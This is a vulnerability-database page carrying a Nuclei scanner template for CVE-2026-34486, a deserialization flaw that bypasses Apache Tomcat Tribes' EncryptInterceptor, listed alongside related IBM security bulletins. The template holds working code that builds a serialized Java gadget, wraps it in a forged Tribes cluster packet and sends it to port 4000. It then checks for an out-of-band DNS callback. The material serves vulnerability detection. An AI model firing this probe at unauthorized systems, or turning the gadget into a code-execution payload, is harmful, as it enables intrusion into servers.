Lucene search
K

Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution

🗓️ 07 Jul 2026 16:50:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 14 Views

CVE-2026-34486: Tomcat Tribes EncryptInterceptor bypass enables remote code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Multiple Vulnerabilities in IBM DataStax Enterprise
27 May 202617:14
ibm
IBM Security Bulletins
Security Bulletin: Multiple security vulnerabilities are addressed with IBM Process Mining Interim Fix for April 2026
30 Apr 202611:49
ibm
IBM Security Bulletins
Security Bulletin: IBM Integration Bus for z/OS is vulnerable to multiple vulnerabilities due to Apache Tomcat
14 May 202614:09
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery Cartridge affected by vulnerabilities in pygments-2.19.2-py3-none-any.whl
17 Jun 202615:28
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery Cartridge affected by vulnerability in tomcat-embed-core-11.0.18.jar
17 Jun 202615:30
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Speech Services Cartridge is vulnerable to multiple issues in tomcat-embed-core [CVE-2026-24880, CVE-2026-25854, CVE-2026-29129, CVE-2026-29145, CVE-2026-29146, CVE-2026-32990, CVE-2026-34483, CVE-2026-34487, CVE-2026-3450]
18 Jun 202619:57
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in Spring, Tomcat, Netty, Picomatch might affect IBM Storage Protect Plus
25 Jun 202618:37
ibm
IBM Security Bulletins
Security Bulletin: The Apache Tomcat application server that is shipped with IBM ApplinX is vulnerable to multiple vulnerabilities.
16 Jun 202617:54
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Tomcat affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge.
22 Jun 202613:42
ibm
IBM Security Bulletins
Security Bulletin: IBM Watson Discovery Cartridge affected by vulnerabilities in tomcat-embed-core-9.0.115.jar
23 Jun 202612:39
ibm
Rows per page
id: CVE-2026-34486

info:
  name: Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.
  impact: |
    An unauthenticated attacker can achieve remote code execution by sending an unencrypted serialized Java object to the Tribes cluster receiver port.
  remediation: |
    Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.
  reference:
    - https://striga.ai/research/tomcat-tribes-unauth-rce
    - https://github.com/striga-ai/CVE-2026-34486
    - https://nvd.nist.gov/vuln/detail/CVE-2026-34486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-34486
    epss-score: 0.15831
    epss-percentile: 0.96482
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query: product:"Apache Tomcat Tribes"
  tags: cve,cve2026,network,apache,tomcat,rce,deserialization,oast,oob

javascript:
  - pre-condition: |
      isPortOpen(Host, Port)

    code: |
      const net = require('nuclei/net');

      const address = Host + ':' + Port;
      const hostname = interactsh_url;

      const GADGET_PREFIX = 'aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff';
      const GADGET_SUFFIX = '74000071007e0005740004687474707078740003706f6378';

      let hostnameHex = '';
      for (let i = 0; i < hostname.length; i++) {
        hostnameHex += hostname.charCodeAt(i).toString(16).padStart(2, '0');
      }

      const lenHex = hostname.length.toString(16).padStart(4, '0');
      const gadgetHex = GADGET_PREFIX + '74' + lenHex + hostnameHex + GADGET_SUFFIX;
      const gadgetByteLen = gadgetHex.length / 2;

      const MEMBER_HEX = '5452494245532d42'       // "TRIBES-B"
        + '01'                                      // version
        + '00'                                      // padding
        + '00000035'                                // body length (53)
        + '000000e8d4a51000'                        // memberAliveTime
        + '00000fa1'                                // tcpListenPort (4001)
        + '00000000'                                // udpListenPort
        + '00000000'                                // securePort
        + '04'                                      // host length
        + '7f000001'                                // 127.0.0.1
        + '00000000'                                // commandLength
        + '00000000'                                // domainLength
        + '01010101010101010101010101010101'        // uniqueId (16 bytes)
        + '00000000'                                // payloadLength
        + '5452494245532d45'                        // "TRIBES-E"
        + '01'                                      // version
        + '00';                                     // padding

      const OPTIONS = '00000000';
      const TIMESTAMP = '000000e8d4a51000';
      const UID_LEN = '00000010';
      const UID = 'dddddddddddddddddddddddddddddddd';
      const MEMBER_LEN = '0000004d';

      const serializedLenHex = gadgetByteLen.toString(16).padStart(8, '0');

      const channelData = OPTIONS + TIMESTAMP + UID_LEN + UID + MEMBER_LEN + MEMBER_HEX
        + serializedLenHex + gadgetHex;

      const channelDataByteLen = channelData.length / 2;
      const outerLenHex = channelDataByteLen.toString(16).padStart(8, '0');

      const FLT2002 = '464c5432303032';
      const TLF2003 = '544c4632303033';
      const packet = FLT2002 + outerLenHex + channelData + TLF2003;

      let conn;
      try {
        conn = net.Open('tcp', address);
        conn.SendHex(packet);
        conn.RecvString(10);
      } catch (e) {}

      if (conn) conn.Close();

      Export('payload_sent');

    args:
      Host: "{{Host}}"
      Port: "4000"
      interactsh_url: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502205b9cb5073790826b264ff85aacad1f2671cd370ba28204e527051d4095e8ffda022100ffe819e025b26b8146c621f888dd7da2eb27cd7852e1819c74c6be420d466b1f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 May 2026 07:34Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.5
EPSS0.15831
SSVC
14